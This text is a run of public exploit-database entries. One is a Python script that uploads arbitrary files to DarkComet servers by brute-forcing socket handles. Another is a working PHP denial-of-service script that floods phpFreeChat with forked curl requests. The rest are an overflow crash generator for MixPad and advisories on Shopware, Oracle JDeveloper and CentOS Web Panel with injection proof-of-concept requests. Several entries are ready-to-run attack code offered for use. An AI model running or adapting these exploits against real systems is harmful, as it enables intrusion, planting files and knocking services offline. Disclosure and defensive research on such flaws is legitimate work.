Parse or escape the context and disallow special chars during the registration or add to prevent further script code injection attacks.

The vulnerability can be resolved by an update to version 5.3.4 that is delivered by the manufacturer. The issue risk is marked as moderate.



Security Risk:
==============
The security risk of the stored cross site scripting vulnerabilities in the shopware cms are estimated as medium. (CVSS 4.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its 
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface 
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories 
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, 
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.
            
#!/usr/bin/env python3
#
# EDB Note: Source ~ https://gist.github.com/PseudoLaboratories/260b6f24844785aacc1e2fb61dd05c01/259944bd94a0d289ef80b9138c1e3f97a97aa9cd
#

from time import sleep
from socket import socket, AF_INET, SOCK_STREAM, error
from re import search
from Crypto.Cipher import ARC4
from binascii import hexlify, unhexlify

import argparse

def good(text):
    print('[+] ' + text)

def bad(text):
    print('[-] ' + text)

def normal(text):
    print('[*] ' + text)

def decrypt(data, key):
    return ARC4.new(key).decrypt(unhexlify(data)).upper()

def encrypt(data, key):
    return hexlify(ARC4.new(key).encrypt(data)).upper()

def upload(domain, port, key, local, remote, test):
    remote = remote.replace('\\', '/')
    f = open(local, "rb")
    client = socket(AF_INET, SOCK_STREAM)
    client.settimeout(5.0)
    client.connect((domain, port))
    try:
        idtype = decrypt(client.recv(12), key)
        if idtype != b'IDTYPE':
            bad('Key seems to be wrong!')
            return

        filetransfer = encrypt('FILETRANSFER111|%s' % test, key)
        client.send(filetransfer)
        client.recv(3)
        client.send(b'FILEBOF' + remote.encode('utf-8') + b'|111')
        client.recv(1)
        content = f.read()
        current = 0
        while (current + 1024) < len(content):
            current += client.send(content[current:current+1024])
            client.recv(1)
        client.send(content[current:len(content)])
        client.recv(1)
        client.send(b'FILEEOF')
        client.recv(1)
        client.send(b'FILEEND')
        client.close()
        return True
    except error as e:
        client.close()
    return False

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='bruteforce socket handle and upload arbitrary files to DarkComet servers')
    parser.add_argument('--port', '-p', dest='port', type=int, default=1604, help='port of the DarkComet server')
    parser.add_argument('--key', '-k', dest='key', default='#KCMDDC51#-890', help='password of the DarkComet server')
    parser.add_argument('--start', '-s', dest='start', type=int, default=0)
    parser.add_argument('--end', '-e', dest='end', type=int, default=2400)

    parser.add_argument('domain', help='domain name/ip of the DarkComet server')
    parser.add_argument('local', help='file name of the local file')
    parser.add_argument('remote', help='remote relative file path')

    args = parser.parse_args()

    for i in range(args.start, args.end, 4):
        # Increment by 4 because Windows seems to only
        # generate socket handles that are multiples of 4
        normal('Trying ' + str(i))
        if upload(args.domain, args.port, args.key, args.local, args.remote, i):
            good('Uploaded successfully!')
            break
        sleep(2)
            
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/ORACLE-JDEVELOPER-DIRECTORY-TRAVERSAL.txt
[+] ISR: apparition security           
 

Vendor:
=============
www.oracle.com


Product:
===========
JDeveloper IDE

Oracle JDeveloper is a free integrated development environment that simplifies the development of Java-based
applications addressing every step of the application lifecycle.



Vulnerability Type:
===================
Directory Traversal



CVE Reference:
==============
CVE-2017-10273



Security Issue:
================
Attackers can place malicious files outside intended target directories if tricked into importing corrupt .WAR or .EAR archives.
Later, attackers can potentially request these scripts/files to execute system commands on affected target.


Affected versions:
11.1.1.7.0, 11.1.1.7.1, 11.1.1.9.0, 11.1.2.4.0, 12.1.3.0.0, 12.2.1.2.0


References:
============
http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html



Exploit/POC:
=============
1) create evil .WAR or .EAR archive containing ../ in path name to initiate directory traversal and inside a script to execute system commands.
2) import into JDeveloper
3) files get moved outside target directories to one of the attackers choosing.
4) attacker requests the malicious file contained in target directory.

BAM!


Network Access:
===============
Local



Severity:
=========
Low



Disclosure Timeline:
=============================
Vendor Notification: October 14, 2016
Vendor fixes as part of CPU January 16, 2018
January 17, 2018 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
Document Title:
===============
CentOS Web Panel v0.9.8.12 - Remote SQL Injection Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1833


Release Date:
=============
2018-01-22


Vulnerability Laboratory ID (VL-ID):
====================================
1833


Common Vulnerability Scoring System:
====================================
7.5


Vulnerability Class:
====================
SQL Injection


Current Estimated Price:
========================
4.000€ - 5.000€


Product & Service Introduction:
===============================
CentOS Web Panel - Free Web Hosting control panel is designed for quick and easy management of (Dedicated & VPS) servers without of 
need to use ssh console for every little thing. There is lot's of options and features for server management in this control panel.
CWP automatically installs full LAMP on your server (apache,php, phpmyadmin, webmail, mailserver…).

(Copy of the Homepage: http://centos-webpanel.com/features )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a remote sql-injection web vulnerability in the CentOS Web Panel v0.9.8.12.


Vulnerability Disclosure Timeline:
==================================
2018-01-22: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
CWP
Product: CentOS Web Panel - (CWP) 0.9.8.12


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A remote sql-injection web vulnerability has been discovered in the official CentOS Web Panel v0.9.8.12 web-application.
The vulnerability allows remote attackers to inject own malicious sql commands to compromise the connected web-server or dbms.

The sql-injection vulnerability is located in the `row_id` and `domain` value of the `Add a domain` module POST method request.
Remote attackers are able to manipulate the POST method request to execute own malicious sql commands on the application-side 
of the web-application. The request method to inject is POST and the attack vector is application-side. The vulnerability can 
be exploited by restricted user accounts against the web-application administrator. 

The security risk of the sql-injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.5.
Exploitation of the remote sql injection vulnerability requires no user interaction and only a low privileged web-application user account.
Successful exploitation of the remote sql injection results in database management system, web-server and web-application compromise.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] Add a domain

Vulnerable Parameter(s):
[+] row_id
[+] domain

Affected Module(s):
[+] Delete domain


Proof of Concept (PoC):
=======================
The remote sql-injecton vulnerability can be exploited by remote attackers with low privilege user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Add a domain
2. Delete the same domain
3. Intercept the http request with a session tamper
4. Manipulate in the POST method request the values `row_id` or `domain` with '
5. Continue the request and an exploitable sql-exception becomes visible
6. Now the attacker can inject to the row_id and domain to execute malicious sql commands via restricted user account
7. Successful reproduce of the sql-injection vulnerability!


--- SQL Error Exceptions ---
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'test-domain'' at line 1
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in 
/usr/local/cwpsrv/htdocs/resources/admin/include/functions.php(1) : eval()'d code(1) : eval()'d code on line 5


--- PoC Session logs [POST] ---
Status: 200[OK]
POST http://cwp.localhost:2030/index.php?module=list_domains 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[185.4.149.65:2030]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://cwp.localhost:2030/index.php?module=list_domains]
      Cookie[cwpsrv-b66ec0f9742b8f4bd3407e0151cd756c=ae0c56ru1ver0k3d0cd1hh4147]
      Connection[keep-alive]
   POST-Daten:
      ifpost[yes]
      username[test-dom]
      domain[SQL-INJECTION PAYLOAD!]
      row_id[SQL-INJECTION PAYLOAD!]
   Response Header:
      Date[Mon, 25 Apr 2016 12:32:33 GMT]
      Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27]
      X-Powered-By[PHP/5.4.27]
      Expires[Thu, 19 Nov 1981 08:52:00 GMT]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Pragma[no-cache]
      Keep-Alive[timeout=5, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]


Reference(s):
http://cwp.localhost:2030/
http://cwp.localhost:2030/index.php
http://cwp.localhost:2030/index.php?module=list_domains


Security Risk:
==============
The security risk of the remote sql-injection web vulnerability in the centos web panel application is estimated as high. (CVSS 7.5)


Credits & Authors:
==================
Vulnerability-Lab [research@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.
            
Document Title:
===============
CentOS Web Panel v0.9.8.12 - Multiple Persistent Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1836


Release Date:
=============
2018-01-19


Vulnerability Laboratory ID (VL-ID):
====================================
1836


Common Vulnerability Scoring System:
====================================
4.4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
CentOS Web Panel - Free Web Hosting control panel is designed for quick and easy management of (Dedicated & VPS) servers without of 
need to use ssh console for every little thing. There is lot's of options and features for server management in this control panel.
CWP automatically installs full LAMP on your server (apache,php, phpmyadmin, webmail, mailserver…).

(Copy of the Homepage: http://centos-webpanel.com/features )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple persistent web vulnerabilities in the official CentOS Web Panel v0.9.8.12.


Vulnerability Disclosure Timeline:
==================================
2017-01-19: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
CWP
Product: CentOS Web Panel - (CWP) 0.9.8.12


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple persistent validation web vulnerabilities has been discovered in the official CentOS Web Panel v0.9.8.12.
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the 
affected vulnerable modules.

The vulnerabilities are located in the `id` and `email_address` parameters of the `index.php` file POST method request. 
Remote attackers are able to inject script code to the POST method request to manipulate the item listing output context. 
The request method to inject is POST and the attack vector is persistent on the application-side. The injection points are 
the both add POST method requests and the execution point occurs in the output location of both modules.

The security risk of the web vulnerabilities are estimated as medium with a cvss (common vulnerability scoring system) count of 4.4. 
Exploitation of the persistent web vulnerabilities requires a low privileged web-application user account and low user interaction. 
Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects 
to malicious source and persistent manipulation of affected or connected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] phpini_editor
[+] mail_add-new
				
Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] id
[+] email_address


Proof of Concept (PoC):
=======================
The web vulnerabilities can be exploited by remote attackers with low privileged user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Dork(s):
"powered by CentOS-WebPanel.com"


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:2030/index.php?module=phpini_editor 
Mime Type[text/html]
   Request Header:
      Host[localhost:2030]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://localhost:2030/index.php?module=phpini_editor]
      Cookie[cwpsrv-3cc0cea69668d490e1029c2a41ce5df3=8fnvi0bqgjj162mqklruu8clq5; PHPSESSID=8dsrha0ivd80kkgukvklgvmct1]
      Connection[keep-alive]
   POST-Daten:
      id[%3E%22%3CPAYLOAD INJECTION POINT!+src]
      del[]
   Response Header:
      Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27]
      X-Powered-By[PHP/5.4.27]
      Keep-Alive[timeout=5, max=94]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]

PoC: POST via Delete function in phpini_editor via Add your custom settings! input
<div class="row">
<h3>Simple php.ini editor</h3>
File Location: /home/test-dom/public_html/php.ini
<br><br>magic_quotes_gpc=>"<%3E%22%3CPERSISTENT SCRIPT CODE PAYLOAD EXECUTION!+src>
 Removed!<META HTTP-EQUIV='refresh' CONTENT='1'>	
                </div><!-- End .row -->
            </div><!-- End contentwrapper -->
        </div><!-- End #content -->
    </div><!-- End #wrapper -->

Reference(s):
http://localhost:2030/index.php?module=phpini_editor 



--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:2030/index.php?module=mail_add-new 
Mime Type[text/html]
   Request Header:
      Host[localhost:2030]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Referer[http://localhost:2030/index.php?module=mail_add-new]
      Cookie[cwpsrv-3cc0cea69668d490e1029c2a41ce5df3=8fnvi0bqgjj162mqklruu8clq5; PHPSESSID=8dsrha0ivd80kkgukvklgvmct1]
      Connection[keep-alive]
   POST-Daten:
      ifpost[yes]
      email_address[%3E%22%3CPAYLOAD INJECTION POINT!+src]
      domain[test-domain.com]
      password[%3E%22%3CPAYLOAD INJECTION POINT!+src]
   Response Header:
      Server[Apache/2.2.27 (Unix) mod_ssl/2.2.27 OpenSSL/1.0.1e-fips PHP/5.4.27]
      X-Powered-By[PHP/5.4.27]
      Keep-Alive[timeout=5, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]


PoC: POST via add Mailbox in email input 
<div class="row">
<br>Email domain <b>test-domain.com</b> created.
<br>Mailbox <b>a>"<%3E%22%3CPERSISTENT SCRIPT CODE PAYLOAD EXECUTION!+src>@test-domain.com</b> created.
<br><h3>Create a New Email Account or Forwarder (MailBox/Forwarder)</h3>
Here you can create a new email account or forwarder.
<br><br>
<div class='row'>
	<div class='col-lg-8'>
		<div class='panel panel-default chart gradient'>
        <div class='panel-heading'>
			<h4><span class='icon16 icomoon-icon-bars'></span>
				<span>Create a New Email Account (MailBox)</span>
			</h4>
        <a href='#' class='minimize'>Minimize</a>
        </div>
        <div class='panel-body' style='padding-bottom:0;'>
<form action='' method= 'post'>
<input type='hidden' name='ifpost' size='0' value='yes'>
<table><tr><td>

Reference(s):
http://localhost:2030/index.php?module=mail_add-new 


Solution - Fix & Patch:
=======================
The vulnerabilities can be patched by a sanitize in the vulnerable `id` and `email address` parameters of the index.php file POST method request. 
Disallow usage of special chars and restrict the parameter input to prevent script code injection attacks. Filter in the output error location 
or the item listing the vulnerable location were the code point occurs.


Security Risk:
==============
The security risk of the application-side input validation vulnerabilities in the web-application are estimated as medium. (CVSS 4.4)


Credits & Authors:
==================
Benjamin K.M. [bkm@vulnerability-lab.com] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or 
implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any 
case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability Labs or its 
suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for incidental
or consequential damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface 
websites, hack into databases or trade with stolen data. We have no need for criminal activities or membership requests. We do not publish advisories 
or vulnerabilities of religious-, militant- and racist- hacker/analyst/researcher groups or individuals. We do not publish trade researcher mails, 
phone numbers, conversations or anything else to journalists, investigative authorities or private individuals.
            
# Exploit Title: phpFreeChat 1.7 and earlier - Denial of Service
# Version: 1.7 and earlier
# Date: 21/01/2018
# Vendor Homepage: http://www.phpfreechat.net
# Software Link: http://www.phpfreechat.net/download
# Exploit Author: A. Pakbaz
# CVE : CVE-2018-5954
####################################################
<?php
$host="http://example.com/path/index.php";	//Vulnerable Host
$con_num=64;	//Number of Connections
$proxy='';	//Proxy example http://127.0.0.1:8080
$user_agent='';	//User-Agent
$proxy=$proxy!='' ? "-x " . $proxy : '';
$user_agent=$user_agent!='' ? "-A " . $user_agent : '';
echo "##Vulnerability Discovered by A. Pakbaz\n##Exploit Author: A. Pakbaz\n";
echo "##Contact: \x70\x61\x6b\x62\x61\x7a\x40\x70\x72\x6f\x74\x6f\x6e\x6d\x61\x69\x6c\x2e\x63\x6f\x6d\n";
echo "##PGP key: \x45\x33\x35\x35\x35\x32\x34\x43\x34\x44\x37\x45\x31\x36\x43\x38\x46\x38\x34\x38\x35\x41\x36\x46\x35\x31\x32\x39\x30\x34\x46\x35\x45\x44\x42\x45\x33\x43\x41\x41\n";
function runf($id){
global $con_num;
global $host;
global $proxy;
global $user_agent;
$i=$id*1000000/$con_num;
$f=($id+1)*1000000/$con_num;
for($num=$i; $num<$f; $num++){
	`curl --url '$host' -X POST -d "pfc_ajax=1&f=handleRequest&cmd=%2Fconnect%20a95806d727683c9c42694214fe"$num"%200%20%22"$num"%22" -N --stderr /dev/null --compressed $proxy $user_agent`;
	echo ".";	
	}		
}
function fmaker($pno){
global $con_num;
if($pno>1){
	$pid=pcntl_fork();
	if($pid<0){
		echo "\nError! Reduce the number of connections\n";
		}
	elseif($pid)
		fmaker($pno-1);
	else
		runf($con_num-$pno);
}
elseif($pno==1)
	runf($con_num-1);
}
fmaker($con_num);
?>
            
#!/usr/bin/python

#
# Exploit Author: bzyo
# Twitter: @bzyo_
# Exploit Title: NCH Software MixPad v5.00 - Unicode Buffer Overflow
# Date: 21-01-2017
# Vulnerable Software: NCH Software MixPad
# Vendor Homepage: http://www.nch.com.au/mixpad
# Version: v5.00
# Software Link: http://www.nch.com.au/mixpad/mpsetup.exe
# Tested On: Windows XP
#
#
# PoC: generate crash.txt, options, metronome tab, paste crash.txt in 'choose a custom metronome sound' 
#
# no unicode jmp/call to esp
# 
# EAX 00117700
# ECX 001167F0
# EDX 7C90E514 ntdll.KiFastSystemCallRet
# EBX 00000000
# ESP 00116C40 UNICODE "BBBBBB does not exist or cannot be accessed."
# EBP 00116FAC
# ESI 0000004E
# EDI 00117740
# EIP 00CC00CC

filename="crash.txt"
 
junk = "A"*251
eip = "\xcc"*2  			#eip over; jmp/call esp goes here
fill = "B"*100				#only 6 used in esp
buffer = junk + eip + fill

  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()